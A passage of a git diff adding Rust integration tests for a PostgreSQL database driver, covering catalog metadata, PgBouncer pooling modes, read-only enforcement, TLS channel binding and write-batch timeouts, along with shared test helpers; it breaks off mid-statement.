(name, kind, read_form) in cases { + let info = column(name); + assert_eq!(info.column_type.kind, kind, "{name} on PostgreSQL {}", version.major()); + assert_eq!( + info.column_type.read_form, + read_form, + "{name} on PostgreSQL {}", + version.major() + ); + } + assert!(column("id").primary_key && column("id").is_auto_increment); + assert_eq!(column("id").default, ColumnDefault::None); + assert_eq!(column("small").default, ColumnDefault::Literal(Value::Int(7))); + assert_eq!( + column("name").default, + ColumnDefault::Literal(Value::Text("it's".to_owned())) + ); + assert!(column("at").default.needs_server_evaluation()); + assert_eq!( + column("count") + .column_type + .catalog + .as_ref() + .map(|catalog| catalog.cast_target.as_sql().to_owned()), + Some("positive".to_owned()) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn catalog_matches_information_schema_on_13() { + catalog_matches_information_schema(PostgresVersion::V13).await; +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn catalog_matches_information_schema_on_18() { + catalog_matches_information_schema(PostgresVersion::V18).await; +} + +/// No statement is cached under a name, so a column added after the pool +/// warmed up shows on every pooled connection at once. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn alter_add_column_then_query_bound_on_all_four_pooled_connections() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE t (id int)", "INSERT INTO t VALUES (1)"], + ) + .await; + let warm = (0..drivers_postgres::WORKSPACE_POOL_MAX_SIZE).map(|_| { + let connection = connection.clone(); + async move { + connection + .query_bound( + &crate::support::statement("SELECT *, pg_sleep(0.2) FROM t"), + tablepro_core::RowLimit::EDITOR_DEFAULT, + within(CALL), + ) + .await + } + }); + for warmed in futures_util::future::join_all(warm).await { + warmed.expect("a warm-up read"); + } + setup( + connection.as_ref(), + &["ALTER TABLE t ADD COLUMN extra text DEFAULT 'x'"], + ) + .await; + + let reads = (0..drivers_postgres::WORKSPACE_POOL_MAX_SIZE).map(|_| { + let connection = connection.clone(); + async move { + connection + .query_bound( + &crate::support::statement("SELECT *, pg_sleep(0.2) FROM t"), + tablepro_core::RowLimit::EDITOR_DEFAULT, + within(CALL), + ) + .await + } + }); + for read in futures_util::future::join_all(reads).await { + let read = read.expect("a read after the change"); + assert_eq!(read.columns.len(), 3, "{:?}", read.columns); + assert_eq!(read.rows[0][1], Value::Text("x".to_owned())); + } +} diff --git a/linux/crates/drivers/postgres/tests/integration/pgbouncer.rs b/linux/crates/drivers/postgres/tests/integration/pgbouncer.rs new file mode 100644 index 0000000000..a174fb61c0 --- /dev/null +++ b/linux/crates/drivers/postgres/tests/integration/pgbouncer.rs @@ -0,0 +1,245 @@ +//! Through PgBouncer with `max_prepared_statements = 0`: nothing is +//! prepared under a name, and nothing a session sets outlives its +//! transaction on a server connection other clients share. + +use std::num::NonZeroU32; +use std::sync::Arc; +use std::time::Duration; + +use tablepro_core::meta::ObjectScope; +use tablepro_core::{ + Connection, DriverError, ReadOnlyRefusal, RowLimit, RunEnd, RunOptions, TlsConfig, Value, WorkspaceSettings, + WriteKind, +}; +use tablepro_test_fixtures::{PgBouncerFixture, PoolMode}; +use tablepro_test_support::conformance::test_liveness; +use tokio_util::sync::CancellationToken; + +use crate::support::{ + CALL, apply, connect_with, direct, options_over, password, rows, run, run_ok, run_with, scalar, session, setup, + statement, text, within, +}; + +async fn through(bouncer: &PgBouncerFixture, read_only: bool) -> Arc { + let liveness = test_liveness(); + let upstream = bouncer.upstream(); + connect_with(options_over( + direct(bouncer.host(), bouncer.port(), &liveness), + password(&upstream.password_credentials()), + upstream.database(), + TlsConfig::disabled(), + WorkspaceSettings::workspace(read_only), + liveness, + )) + .await +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn transaction_pool_round_trip() { + let bouncer = PgBouncerFixture::start(PoolMode::Transaction).await.expect("PgBouncer"); + let connection = through(&bouncer, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE t (id int PRIMARY KEY, label text)"], + ) + .await; + + let written = apply( + connection.as_ref(), + WriteKind::RowChanges, + &["INSERT INTO t VALUES (1, 'a')", "INSERT INTO t VALUES (2, 'b')"], + ) + .await; + let objects = connection + .list_objects(&ObjectScope::DefaultSchema, within(CALL)) + .await + .expect("the objects"); + let counted = connection + .count_rows(&statement("SELECT count(*) FROM t"), within(CALL)) + .await; + let read = rows(connection.as_ref(), "SELECT label FROM t ORDER BY id").await; + let editor = session(connection.as_ref()).await; + let cancel = CancellationToken::new(); + let stopper = cancel.clone(); + tokio::spawn(async move { + tokio::time::sleep(Duration::from_millis(500)).await; + stopper.cancel(); + }); + let (cancelled, _) = run_with(editor.as_ref(), "SELECT pg_sleep(30)", RunOptions::new(cancel)).await; + + assert_eq!(written.map(|report| report.total_rows()), Ok(Some(2))); + assert!(objects.iter().any(|object| object.name == "t")); + assert_eq!(counted, Ok(2)); + assert_eq!(read.iter().map(|row| text(&row[0])).collect::>(), ["a", "b"]); + assert_eq!(cancelled.end, RunEnd::Cancelled); + run_ok(editor.as_ref(), "SELECT 1").await; +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn transaction_pool_read_only_editor_delete_fails() { + let bouncer = PgBouncerFixture::start(PoolMode::Transaction).await.expect("PgBouncer"); + let owner = through(&bouncer, false).await; + setup(owner.as_ref(), &["CREATE TABLE t (id int)", "INSERT INTO t VALUES (1)"]).await; + let reader = through(&bouncer, true).await; + let editor = session(reader.as_ref()).await; + + let (summary, _) = run(editor.as_ref(), "DELETE FROM t").await; + + assert!( + matches!( + summary.end, + RunEnd::Failed(DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(_))) + ), + "{:?}", + summary.end + ); + assert_eq!(scalar(owner.as_ref(), "SELECT count(*) FROM t").await, Value::Int(1)); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn transaction_pool_editor_leaves_no_session_state() { + let bouncer = PgBouncerFixture::start_with_pool_size(PoolMode::Transaction, NonZeroU32::MIN) + .await + .expect("PgBouncer"); + let reader = through(&bouncer, true).await; + let editor = session(reader.as_ref()).await; + let bounded = RunOptions::new(CancellationToken::new()).with_deadline(Some(Duration::from_secs(5))); + for sql in ["SELECT 1", "SHOW search_path", "SELECT count(*) FROM pg_class"] { + let (summary, _) = run_with(editor.as_ref(), sql, bounded.clone()).await; + assert_eq!(summary.end, RunEnd::Completed, "{sql}"); + } + let plain = through(&bouncer, false).await; + let other = session(plain.as_ref()).await; + + let read_only = run_ok(other.as_ref(), "SHOW default_transaction_read_only").await; + let timeout = run_ok(other.as_ref(), "SHOW statement_timeout").await; + + assert_eq!(text(&read_only.rows()[0][0]), "off"); + assert_eq!(text(&timeout.rows()[0][0]), "0"); +} + +/// A non-built-in column type in a result would make tokio-postgres +/// prepare its type lookup under a name, which a transaction pooler +/// hands to whichever server connection comes next. The page projects +/// such columns as text, so every read here goes through. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn enum_citext_10000_row_flight_never_prepares() { + let bouncer = PgBouncerFixture::start(PoolMode::Transaction).await.expect("PgBouncer"); + let connection = through(&bouncer, false).await; + setup( + connection.as_ref(), + &[ + "CREATE EXTENSION IF NOT EXISTS citext", + "CREATE TYPE mood AS ENUM ('sad', 'happy')", + "CREATE TABLE t (id int PRIMARY KEY, feeling mood, name citext)", + "INSERT INTO t SELECT n, 'happy', 'Name ' || n FROM generate_series(1, 10000) n", + ], + ) + .await; + let table = tablepro_core::TableRef::new(Some("public".to_owned()), "t"); + let columns = connection + .fetch_columns(&table, within(CALL)) + .await + .expect("the columns"); + let dialect = connection.dialect(); + let projection: Vec = columns.iter().map(|column| dialect.projection(column)).collect(); + let sql = format!( + "SELECT {} FROM {} ORDER BY id", + projection.join(", "), + dialect.qualify(&table) + ); + + for _ in 0..3 { + let result = connection + .query_bound(&statement(&sql), RowLimit::new(10_000).expect("a limit"), within(CALL)) + .await + .expect("a read through the pooler"); + assert_eq!(result.rows.len(), 10_000); + assert!(!result.truncated); + assert_eq!(result.rows[0][1], Value::Text("happy".to_owned())); + assert_eq!(result.rows[0][2], Value::Text("Name 1".to_owned())); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn session_pool_editor_state_persists() { + let bouncer = PgBouncerFixture::start(PoolMode::Session).await.expect("PgBouncer"); + let connection = through(&bouncer, false).await; + let editor = session(connection.as_ref()).await; + + run_ok(editor.as_ref(), "CREATE TEMP TABLE scratch AS SELECT 3 AS n").await; + run_ok(editor.as_ref(), "BEGIN").await; + let read = run_ok(editor.as_ref(), "SELECT n FROM scratch").await; + run_ok(editor.as_ref(), "COMMIT").await; + + assert_eq!(text(&read.rows()[0][0]), "3"); +} + +/// SET LOCAL lives as long as the transaction, which a transaction +/// pooler keeps on one server connection, so the bound still applies. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn transaction_pool_set_local_timeout_applies() { + let bouncer = PgBouncerFixture::start(PoolMode::Transaction).await.expect("PgBouncer"); + let connection = through(&bouncer, false).await; + let started = tokio::time::Instant::now(); + + let outcome = connection + .query_bound( + &statement("SELECT pg_sleep(30)"), + RowLimit::EDITOR_DEFAULT, + within(Duration::from_secs(1)), + ) + .await; + + assert!( + matches!( + outcome, + Err(DriverError::Timeout { + server_cancelled: true, + .. + }) + ), + "{outcome:?}" + ); + assert!(started.elapsed() < Duration::from_secs(3), "{:?}", started.elapsed()); +} + +/// Statement pooling refuses transaction blocks, so a save cannot run +/// there; it fails with the pooler's own words rather than hanging. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn statement_pool_write_batch_returns_diagnostics() { + let bouncer = PgBouncerFixture::start(PoolMode::Statement).await.expect("PgBouncer"); + let liveness = test_liveness(); + let upstream = bouncer.upstream(); + let options = options_over( + direct(bouncer.host(), bouncer.port(), &liveness), + password(&upstream.password_credentials()), + upstream.database(), + TlsConfig::disabled(), + WorkspaceSettings::workspace(false), + liveness, + ); + let connection = connect_with(options).await; + + let outcome = tokio::time::timeout( + Duration::from_secs(10), + apply(connection.as_ref(), WriteKind::RowChanges, &["CREATE TABLE t (id int)"]), + ) + .await + .expect("the save answered"); + + let Err(error) = outcome else { + panic!("a save ran a transaction block under statement pooling"); + }; + assert!( + format!("{error:?}").contains("statement pooling"), + "the pooler's reason was lost: {error:?}" + ); +} diff --git a/linux/crates/drivers/postgres/tests/integration/read_only.rs b/linux/crates/drivers/postgres/tests/integration/read_only.rs new file mode 100644 index 0000000000..070a62a3b7 --- /dev/null +++ b/linux/crates/drivers/postgres/tests/integration/read_only.rs @@ -0,0 +1,129 @@ +//! Read-only is held per transaction, so no statement escapes it and no +//! setting outlives it. + +use tablepro_core::{DriverError, ReadOnlyRefusal, RowLimit, RunEnd, TransactionState, Value, WriteKind}; + +use crate::support::{CALL, apply, connect, run, run_ok, scalar, session, setup, start, statement, within}; + +fn refused_by_server(end: &RunEnd) -> bool { + matches!( + end, + RunEnd::Failed(DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(_))) + ) +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn editor_idle_delete_fails_25006() { + let fixture = start().await; + let owner = connect(&fixture, false).await; + setup(owner.as_ref(), &["CREATE TABLE t (id int)", "INSERT INTO t VALUES (1)"]).await; + let reader = connect(&fixture, true).await; + let session = session(reader.as_ref()).await; + + let (summary, _) = run(session.as_ref(), "DELETE FROM t").await; + + assert!(refused_by_server(&summary.end), "{:?}", summary.end); + assert_eq!(summary.transaction_state, TransactionState::Idle); + assert_eq!(scalar(owner.as_ref(), "SELECT count(*) FROM t").await, Value::Int(1)); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn editor_begin_then_delete_fails_25006() { + let fixture = start().await; + let owner = connect(&fixture, false).await; + setup(owner.as_ref(), &["CREATE TABLE t (id int)", "INSERT INTO t VALUES (1)"]).await; + let reader = connect(&fixture, true).await; + let session = session(reader.as_ref()).await; + + let (begun, _) = run(session.as_ref(), "BEGIN").await; + let (deleted, _) = run(session.as_ref(), "DELETE FROM t").await; + run_ok(session.as_ref(), "ROLLBACK").await; + + assert_eq!(begun.transaction_state, TransactionState::InTransaction); + assert!(refused_by_server(&deleted.end), "{:?}", deleted.end); + assert_eq!(deleted.transaction_state, TransactionState::Failed); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn editor_set_default_transaction_read_only_off_does_not_escape() { + let fixture = start().await; + let owner = connect(&fixture, false).await; + setup(owner.as_ref(), &["CREATE TABLE t (id int)", "INSERT INTO t VALUES (1)"]).await; + let reader = connect(&fixture, true).await; + let session = session(reader.as_ref()).await; + + run_ok(session.as_ref(), "SET default_transaction_read_only = off").await; + let (summary, _) = run(session.as_ref(), "DELETE FROM t").await; + + assert!(refused_by_server(&summary.end), "{:?}", summary.end); + assert_eq!(scalar(owner.as_ref(), "SELECT count(*) FROM t").await, Value::Int(1)); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn editor_vacuum_refused_as_read_only() { + let fixture = start().await; + let owner = connect(&fixture, false).await; + setup(owner.as_ref(), &["CREATE TABLE t (id int)"]).await; + let reader = connect(&fixture, true).await; + let session = session(reader.as_ref()).await; + + let (summary, _) = run(session.as_ref(), "VACUUM t").await; + + assert!(refused_by_server(&summary.end), "{:?}", summary.end); + assert_eq!(summary.transaction_state, TransactionState::Idle); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn editor_commit_prepared_refused_client_guard() { + let fixture = start().await; + let reader = connect(&fixture, true).await; + let session = session(reader.as_ref()).await; + + let (summary, _) = run(session.as_ref(), "COMMIT PREPARED 'anything'").await; + + assert_eq!( + summary.end, + RunEnd::Failed(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn write_batch_client_guard() { + let fixture = start().await; + let reader = connect(&fixture, true).await; + + let outcome = apply(reader.as_ref(), WriteKind::RowChanges, &["CREATE TABLE t (id int)"]).await; + + assert!( + matches!(outcome, Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard))), + "{outcome:?}" + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn query_bound_nextval_is_25006() { + let fixture = start().await; + let owner = connect(&fixture, false).await; + setup(owner.as_ref(), &["CREATE SEQUENCE s"]).await; + + let outcome = owner + .query_bound( + &statement("SELECT nextval('s')"), + RowLimit::EDITOR_DEFAULT, + within(CALL), + ) + .await; + + assert!( + matches!(outcome, Err(DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(_)))), + "a generated read wrote: {:?}", + outcome.map(|result| result.rows) + ); +} diff --git a/linux/crates/drivers/postgres/tests/integration/support.rs b/linux/crates/drivers/postgres/tests/integration/support.rs new file mode 100644 index 0000000000..f448f46802 --- /dev/null +++ b/linux/crates/drivers/postgres/tests/integration/support.rs @@ -0,0 +1,249 @@ +//! What the PostgreSQL integration modules share: targets over the +//! fixture's port, one-line calls, and a sink that keeps what it gets. + +use std::sync::{Arc, Mutex, PoisonError}; +use std::time::Duration; + +use async_trait::async_trait; +use drivers_postgres::PgDriver; +use secrecy::SecretString; +use tablepro_core::statement::{GuardedStatement, Statement, StatementBuilder}; +use tablepro_core::{ + CallOptions, ConnectEnvironment, ConnectOptions, ConnectTarget, Connection, Credentials, DatabaseDriver, + EditorSession, EditorSessionOptions, ForeignKeyMode, LivenessPolicy, NetworkEndpoint, NetworkTarget, ResultEvent, + ResultSink, RunEnd, RunOptions, RunSummary, SinkFlow, TableRef, TlsConfig, Transport, UserSql, Value, + WorkspaceSettings, WriteBatch, WriteKind, WriteReport, +}; +use tablepro_net::DirectTcpTransport; +use tablepro_test_fixtures::{FixtureCredentials, PostgresFixture}; +use tablepro_test_support::conformance::test_liveness; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +pub const CALL: Duration = Duration::from_secs(30); + +pub fn within(limit: Duration) -> CallOptions { + CallOptions::new(Some(Instant::now() + limit), CancellationToken::new()) +} + +pub fn statement(sql: &str) -> Statement { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + builder.finish() +} + +pub fn direct(host: &str, port: u16, liveness: &LivenessPolicy) -> Arc { + let endpoint = NetworkEndpoint::new(host, port).expect("a valid endpoint"); + Arc::new(DirectTcpTransport::new(endpoint, liveness)) +} + +pub fn password(credentials: &FixtureCredentials) -> Credentials { + Credentials::Password { + username: credentials.username.clone(), + password: SecretString::from(credentials.password.clone()), + } +} + +pub fn options_over( + transport: Arc, + credentials: Credentials, + database: &str, + tls: TlsConfig, + settings: WorkspaceSettings, + liveness: LivenessPolicy, +) -> ConnectOptions { + ConnectOptions { + target: ConnectTarget::Network(NetworkTarget { + transport, + credentials, + database: Some(database.to_owned()), + tls, + }), + workspace_settings: settings, + liveness, + environment: ConnectEnvironment::new("test"), + } +} + +pub fn fixture_options(fixture: &PostgresFixture, settings: WorkspaceSettings) -> ConnectOptions { + let liveness = test_liveness(); + options_over( + direct(fixture.host(), fixture.port(), &liveness), + password(&fixture.password_credentials()), + fixture.database(), + TlsConfig::disabled(), + settings, + liveness, + ) +} + +pub async fn connect_with(options: ConnectOptions) -> Arc { + PgDriver + .connect(options, CancellationToken::new()) + .await + .expect("a connection") +} + +pub async fn connect(fixture: &PostgresFixture, read_only: bool) -> Arc { + connect_with(fixture_options(fixture, WorkspaceSettings::workspace(read_only))).await +} + +pub async fn start() -> PostgresFixture { + PostgresFixture::start(tablepro_test_fixtures::HbaMode::Password) + .await + .expect("a PostgreSQL container") +} + +/// Run statements as one schema-change batch, for setup. +pub async fn setup(connection: &dyn Connection, statements: &[&str]) { + apply(connection, WriteKind::SchemaChanges, statements) + .await + .expect("the setup statements"); +} + +pub async fn apply( + connection: &dyn Connection, + kind: WriteKind, + statements: &[&str], +) -> Result { + let mut batch = batch(statements); + batch.kind = kind; + connection.write_batch(&batch, within(CALL)).await +} + +/// Row changes, each statement unguarded. +pub fn batch(statements: &[&str]) -> WriteBatch { + let steps = statements + .iter() + .map(|sql| GuardedStatement::unguarded(statement(sql))) + .collect(); + WriteBatch::new( + WriteKind::RowChanges, + TableRef::unqualified("t"), + steps, + ForeignKeyMode::Enforced, + ) +} + +pub async fn rows(connection: &dyn Connection, sql: &str) -> Vec> { + connection + .query_bound(&statement(sql), tablepro_core::RowLimit::EDITOR_DEFAULT, within(CALL)) + .await + .expect("a read") + .rows +} + +pub async fn scalar(connection: &dyn Connection, sql: &str) -> Value { + rows(connection, sql) + .await + .into_iter() + .next() + .and_then(|row| row.into_iter().next()) + .expect("one value") +} + +pub async fn session(connection: &dyn Connection) -> Arc { + connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await + .expect("an editor session") +} + +/// The events of one run, kept after the sink is gone. +#[derive(Debug, Clone, Default)] +pub struct Events(Arc>>); + +impl Events { + pub fn all(&self) -> Vec { + self.0.lock().unwrap_or_else(PoisonError::into_inner).clone() + } + + pub fn rows(&self) -> Vec> { + self.all() + .into_iter() + .filter_map(|event| match event { + ResultEvent::Rows(rows) => Some(rows), + _ => None, + }) + .flatten() + .collect() + } + + pub fn finished(&self) -> Vec { + self.all() + .into_iter() + .filter(|event| matches!(event, ResultEvent::ResultSetFinished { .. })) + .collect() + } +} + +pub struct EventSink { + events: Events, + delay: Option, + gone_after_rows: Option, + seen_rows: usize, +} + +impl EventSink { + pub fn new(events: &Events) -> Self { + Self { + events: events.clone(), + delay: None, + gone_after_rows: None, + seen_rows: 0, + } + } + + pub fn slow(mut self, delay: Duration) -> Self { + self.delay = Some(delay); + self + } + + pub fn gone_after(mut self, rows: usize) -> Self { + self.gone_after_rows = Some(rows); + self + } +} + +#[async_trait] +impl ResultSink for EventSink { + async fn accept(&mut self, event: ResultEvent) -> SinkFlow { + if let Some(delay) = self.delay { + tokio::time::sleep(delay).await; + } + if let ResultEvent::Rows(rows) = &event { + self.seen_rows += rows.len(); + } + self.events.0.lock().unwrap_or_else(PoisonError::into_inner).push(event); + match self.gone_after_rows { + Some(limit) if self.seen_rows >= limit => SinkFlow::ConsumerGone, + _ => SinkFlow::Continue, + } + } +} + +pub async fn run_with(session: &dyn EditorSession, sql: &str, options: RunOptions) -> (RunSummary, Events) { + let events = Events::default(); + let summary = session + .run(UserSql::new(sql), options, Box::new(EventSink::new(&events))) + .await + .expect("the session ran the script"); + (summary, events) +} + +pub async fn run(session: &dyn EditorSession, sql: &str) -> (RunSummary, Events) { + run_with(session, sql, RunOptions::new(CancellationToken::new())).await +} + +pub async fn run_ok(session: &dyn EditorSession, sql: &str) -> Events { + let (summary, events) = run(session, sql).await; + assert_eq!(summary.end, RunEnd::Completed, "`{sql}` did not complete"); + events +} + +pub fn text(value: &Value) -> String { + match value { + Value::Text(text) => text.clone(), + other => tablepro_core::export::value_to_text(other).unwrap_or_default(), + } +} diff --git a/linux/crates/drivers/postgres/tests/integration/tls.rs b/linux/crates/drivers/postgres/tests/integration/tls.rs new file mode 100644 index 0000000000..34770b4cd0 --- /dev/null +++ b/linux/crates/drivers/postgres/tests/integration/tls.rs @@ -0,0 +1,232 @@ +//! The TLS conformance suite against PostgreSQL, and the TLS cases only +//! PostgreSQL has. + +use std::path::{Path, PathBuf}; +use std::sync::Arc; + +use async_trait::async_trait; +use drivers_postgres::PgDriver; +use secrecy::SecretString; +use tablepro_core::{ + ClientIdentity, ConnectOptions, Credentials, DatabaseDriver, DriverError, ErrorCategory, TlsConfig, TlsFailure, + TlsMode, WorkspaceSettings, +}; +use tablepro_net::tls::build_client_config; +use tablepro_test_fixtures::{HbaMode, PkiAlgorithm, PkiFile, PostgresFixture, TestPki}; +use tablepro_test_support::conformance::{ + ClientIdentityEngine, ConformanceFailure, TlsConformanceEngine, test_liveness, +}; +use tokio_postgres::config::{ChannelBinding, SslMode}; +use tokio_postgres_rustls::MakeRustlsConnect; +use tokio_util::sync::CancellationToken; + +use crate::support::{direct, options_over, password, start}; + +pub struct PgTlsEngine { + fixture: PostgresFixture, + ca: PathBuf, + unrelated_ca: PathBuf, +} + +impl PgTlsEngine { + fn options(&self, credentials: Credentials, tls: TlsConfig) -> ConnectOptions { + let liveness = test_liveness(); + options_over( + direct(self.fixture.host(), self.fixture.port(), &liveness), + credentials, + self.fixture.database(), + tls, + WorkspaceSettings::workspace(false), + liveness, + ) + } +} + +#[async_trait] +impl TlsConformanceEngine for PgTlsEngine { + fn driver() -> Arc { + Arc::new(PgDriver) + } + + async fn start() -> Result { + let fixture = PostgresFixture::start(HbaMode::ClientCertificate) + .await + .map_err(ConformanceFailure::setup)?; + let ca = fixture.pki().path(PkiFile::Ca); + let unrelated_ca = fixture.pki().path(PkiFile::UnrelatedCa); + Ok(Self { + fixture, + ca, + unrelated_ca, + }) + } + + fn connect_options(&self, tls: TlsConfig) -> ConnectOptions { + self.options(password(&self.fixture.password_credentials()), tls) + } + + fn ca_file(&self) -> &Path { + &self.ca + } + + fn unrelated_ca_file(&self) -> &Path { + &self.unrelated_ca + } + + fn served_name(&self) -> &str { + TestPki::SERVER_NAMES[1] + } + + /// `hostnossl all all all reject` answers a plaintext login with + /// FATAL 28000, "no pg_hba.conf entry ... no encryption". + fn plaintext_rejection_category(&self) -> ErrorCategory { + ErrorCategory::Authentication + } +} + +impl ClientIdentityEngine for PgTlsEngine { + fn client_identity(&self) -> ClientIdentity { + ClientIdentity { + certificate: self.fixture.pki().path(PkiFile::ClientCertificate), + key: self.fixture.pki().path(PkiFile::ClientKey), + } + } + + fn certificate_connect_options(&self, tls: TlsConfig) -> ConnectOptions { + let credentials = Credentials::Password { + username: TestPki::CLIENT_COMMON_NAME.to_owned(), + password: SecretString::from(String::new()), + }; + self.options(credentials, tls) + } +} + +mod suite { + use super::PgTlsEngine; + + tablepro_test_support::tls_conformance_suite! { + engine: PgTlsEngine, + client_identity: true, + } +} + +/// A server with TLS off answers the SSLRequest with 'N', and the driver +/// says the server refused TLS rather than that a handshake failed. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn server_without_ssl_reports_server_refused_tls() { + let fixture = start().await; + let liveness = test_liveness(); + let tls = TlsConfig { + mode: TlsMode::Require, + ..TlsConfig::disabled() + }; + let options = options_over( + direct(fixture.host(), fixture.port(), &liveness), + password(&fixture.password_credentials()), + fixture.database(), + tls, + WorkspaceSettings::workspace(false), + liveness, + ); + + let outcome = PgDriver.connect(options, CancellationToken::new()).await; + + assert!( + matches!( + &outcome, + Err(DriverError::Tls { + failure: TlsFailure::ServerRefusedTls, + .. + }) + ), + "got {:?}", + outcome.err() + ); +} + +/// TLS that checks nothing about the certificate, so the cases below +/// test channel binding alone. +fn unverified() -> TlsConfig { + TlsConfig { + mode: TlsMode::Require, + ..TlsConfig::disabled() + } +} + +async fn start_with_pki(algorithm: PkiAlgorithm) -> PostgresFixture { + PostgresFixture::start_with_pki(HbaMode::HostSslOnly, algorithm) + .await + .expect("a TLS-only server") +} + +/// A login through the TLS stack the driver uses, with the client's +/// channel binding set. The driver's own connections always prefer it, +/// so requiring it takes a client of the test's own. +async fn login_with_channel_binding( + fixture: &PostgresFixture, + binding: ChannelBinding, +) -> Result<(), tokio_postgres::Error> { + let client_config = build_client_config(&unverified()) + .expect("a TLS setup") + .expect("a TLS client config"); + let credentials = fixture.password_credentials(); + let mut config = tokio_postgres::Config::new(); + config + .host(fixture.host()) + .port(fixture.port()) + .user(&credentials.username) + .password(&credentials.password) + .dbname(fixture.database()) + .ssl_mode(SslMode::Require) + .channel_binding(binding); + let (client, connection) = config.connect(MakeRustlsConnect::new((*client_config).clone())).await?; + let driving = tokio::spawn(connection); + let answered = client.simple_query("SELECT 1").await.map(|_| ()); + drop(client); + let _ = driving.await; + answered +} + +/// The server hashes its certificate with the hash its signature names, +/// SHA-256 or SHA-384, and the client's binding has to match it. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn channel_binding_require_with_rsa_sha256_and_ecdsa_p384() { + for algorithm in [PkiAlgorithm::RsaSha256, PkiAlgorithm::EcdsaP384Sha384] { + let fixture = start_with_pki(algorithm).await; + + let outcome = login_with_channel_binding(&fixture, ChannelBinding::Require).await; + + assert!(outcome.is_ok(), "{algorithm:?}: {outcome:?}"); + } +} + +/// tls-server-end-point names no hash for an Ed25519 signature, so a +/// client that requires binding gives up before the password is sent, +/// and the driver, which only prefers it, logs in without. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn ed25519_cert_require_fails_prefer_connects() { + let fixture = start_with_pki(PkiAlgorithm::Ed25519).await; + + let required = login_with_channel_binding(&fixture, ChannelBinding::Require).await; + let liveness = test_liveness(); + let options = options_over( + direct(fixture.host(), fixture.port(), &liveness), + password(&fixture.password_credentials()), + fixture.database(), + unverified(), + WorkspaceSettings::workspace(false), + liveness, + ); + let preferred = PgDriver.connect(options, CancellationToken::new()).await; + + // tokio-postgres keeps the reason in the source, not the message. + let refused_for_binding = required.as_ref().is_err_and(|error| { + std::error::Error::source(error).is_some_and(|cause| cause.to_string().contains("channel binding")) + }); + assert!(refused_for_binding, "{required:?}"); + let connection = preferred.expect("a login that only prefers channel binding"); + connection.close().await.expect("a close"); +} diff --git a/linux/crates/drivers/postgres/tests/integration/write_batch.rs b/linux/crates/drivers/postgres/tests/integration/write_batch.rs new file mode 100644 index 0000000000..02063c12a3 --- /dev/null +++ b/linux/crates/drivers/postgres/tests/integration/write_batch.rs @@ -0,0 +1,218 @@ +//! Saves: one transaction, bounded, with the outcome of an interrupted +//! one taken from what was really sent. + +use std::sync::Arc; +use std::time::Duration; + +use tablepro_core::{ + CommitResolution, CommitToken, DriverError, LivenessPolicy, NetworkEndpoint, TimeoutPhase, TlsConfig, Value, + WorkspaceSettings, WriteKind, +}; +use tablepro_test_support::FaultTransport; +use tablepro_test_support::conformance::test_liveness; +use tokio::time::Instant; + +use crate::support::{ + CALL, apply, batch, connect, connect_with, fixture_options, options_over, password, run_ok, scalar, session, setup, + start, within, +}; + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn lock_timeout_lock_wait() { + let fixture = start().await; + let settings = WorkspaceSettings { + lock_timeout: Duration::from_secs(1), + ..WorkspaceSettings::workspace(false) + }; + let writer = connect_with(fixture_options(&fixture, settings)).await; + setup( + writer.as_ref(), + &[ + "CREATE TABLE t (id int PRIMARY KEY, v text)", + "INSERT INTO t VALUES (1, 'a')", + ], + ) + .await; + let holder = session(writer.as_ref()).await; + run_ok(holder.as_ref(), "BEGIN; UPDATE t SET v = 'held' WHERE id = 1").await; + + let outcome = apply( + writer.as_ref(), + WriteKind::RowChanges, + &["UPDATE t SET v = 'b' WHERE id = 1"], + ) + .await; + run_ok(holder.as_ref(), "ROLLBACK").await; + + let Err(DriverError::RolledBack { source, .. }) = &outcome else { + panic!("a blocked update gave {outcome:?}"); + }; + assert!( + matches!( + **source, + DriverError::Timeout { + phase: TimeoutPhase::LockWait, + .. + } + ), + "{source:?}" + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn statement_deadline_before_commit_rolls_back() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup(connection.as_ref(), &["CREATE TABLE t (id int)"]).await; + let started = 